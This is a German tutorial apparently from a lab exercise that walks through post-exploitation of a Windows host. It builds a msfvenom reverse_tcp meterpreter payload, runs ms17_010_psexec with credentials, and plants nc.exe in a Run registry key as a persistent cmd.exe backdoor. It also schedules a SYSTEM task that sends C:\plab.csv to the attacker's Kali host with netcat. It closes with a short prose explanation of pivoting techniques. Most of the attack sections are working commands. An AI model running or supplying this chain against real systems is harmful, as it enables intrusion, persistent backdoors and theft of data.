Pivoting
Ausnutzen entdeckter Schwachstellen
Lateral Movement with Named Pipes
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.3 lport=443 -f exe > shell.exe # erzeugt das Payload shell.exe python -m SimpleHTTPServer # startet einen mini-Webserver
neue Shell starten
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp # legt reverse_tcp als Payload fest
set LHOST 192.168.0.3
set LPORT 443
set ExitOnSession false
exploit -j -z # führt Exploit aus, der reverse_tcp Handler startet
Jetzt steht das Payload zur Verfügung und kann via http geladen werden. Dazu auf dem Opfersystem:
http://192.168.0.3:8000 # IP ist von Kali, Port 8000 vom SimpleHTTPServer
Es erscheint eine Dateiliste. Hier shell.exe suchen, ausführen und zurück zu Kali. Mit
sessions
sieht man, dass eine Sitzung mit dem Zielsystem eingerichtet ist. Wir wechseln in die Sitzung 1
sessions -i 1
Wir müssen jetzt einen Pipe-Listener erstellen und anzeigen:
pivot add -t pipe -l 192.168.0.3 -n bgpipe -a x86 -p windows pivot list
Persistent Backdoor erstellen
Mit msfconsole msf starten und das Modul psexec verwenden
use exploit/windows/smb/ms17_010_psexec set RHOST 192.168.0.5 set SMBUser admin set SMBPass Passw0rd run
Jetzt senden wir das Backdoor nc.exe an das Windows-Zielsystem in den Ordner C:\\Windows
upload /usr/share/windows-binaries/nc.exe C:\\Windows
Windows Registrierungsschlüssel auflisten
reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Wir stellen nun die nc.exe so ein, dass sie beim Windows-Start gestartet wird und auf den Port 1234 hört
reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v nc -d ‘C:\Windows\nc.exe -l -p 1234 -e cmd.exe’
Prüfen, ob es funktioniert hat
reg queryval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v nc
Nach einem reboot des Zielsystems steht nc zur Verfügung. Der reboot kann remote erfolgen, mit:
reboot
Danach kann mit exit das Fenster geschlossen werden.
Jetzt testen wir, ob alles funktioniert hat. Dazu in einer Kali-Shell eine Verbindung herstellen, mit:
nc -v 192.168.0.5 1234
Auf dem Zielsystem ist nc gestatet worden. Wir können in Kali mit Ctrl + c nc beenden
Datei auf dem Zielsystem verändern
Wir suchen uns auf dem windows-Zielsystem eine Datei zum angreifen heraus (Beispiel: c:\\plab.csv)
Wir können jetzt einen Netcat-Listener erstellen, um an die plab.csv-Datei zu gelangen. Dazu in einer Kali-Shell
cat > task.bat # das erstellt eine leere Datei
Der Inhalt der Datei ist:
@echo off C:\Windows\nc.exe -w 3 192.168.0.3 1234 < C:\plab.csv
mit Ctrl + z speichern wir und mit run führen wir aus. Jetzt muss die Datei task.bat nach C:\\Windows übertragen werden
upload /root/task.bat C:\\Windows
Jetzt können wir sie remote ausführen
execute -f ‘schtasks /create /tn plabtask /tr C:\Windows\task.bat /sc minute /mo 1 /ru system’
In einer neuen Kali-Shell verbinden wir uns zum Windows-Opfer
nc -l -p 1234 > plab.csv # Der Verbindungsaufbau dauert eine Minute
Jetzt können wir die Datei plab.csv remote bearbeiten
cat plab.csv
und eine neue Zeil ehinzufügen, wie zB „harry 1234567890“
In einer neuen Shell starten wie wieder den vetcat listener (nc) und schauen uns den Inhalt der Datei plab.csv an
nc -l -p 1234 > plab.csv cat plab.csv
Pivoting erklärt
Pivoting ist ähnlich zu lateral movement, da beide Aufgaben stattfinden, nachdem Sie einen Host ausgenutzt haben. Bei einer lateralen Bewegung bewegen Sie sich von einem Host zu einem anderen Host und suchen nach weiteren Schwachstellen, die Sie ausnutzen können. Beim Drehen, Sie die Schwachstellen in einem Host ausnutzen, und dann erkunden Sie die Optionen zum Ausnutzen eines Hosts und gehen dann zu den anderen Hosts über, die mit dem ersten verbunden sind. Diese Hosts wären möglicherweise nicht erreichbar Andernfalls. Diese Hosts befinden sich normalerweise in einem anderen Subnetz und sind daher ohne direkten Zugriff schwer zu erreichen.
Das pivoting kann auf verschiedene Arten erfolgen:
- Port-Weiterleitung. Dies ist eine der am weitesten verbreiteten Methoden, bei der der Angreifer einen offenen Port auf dem ausgenutzten Host findet und ihn dann verwendet, um den Datenverkehr an das Zielsystem weiterzuleiten.
- SSH-Pivotierung. Bei dieser Methode wird SSH verwendet. Sie müssen einen lokalen Proxy einrichten und auch die Portweiterleitung aktivieren. Die Verbindungen, die mit dem angegebenen Port zum Port hergestellt werden, werden an das Endziel weitergeleitet.
- Routing-Tabelle Pivoting. Wenn Sie einen Host ausnutzen, können Sie Änderungen an seiner Routing-Tabelle vornehmen. Außerdem können Sie das Gateway als Exploit-Sitzung festlegen. Wenn dies geschehen ist, muss der Datenverkehr das Gateway passieren, um das Ziel zu erreichen.
VPN-Pivoting kann ebenfalls durchgeführt werden, obwohl es hauptsächlich zur Aufklärung eines Netzwerks verwendet wird.
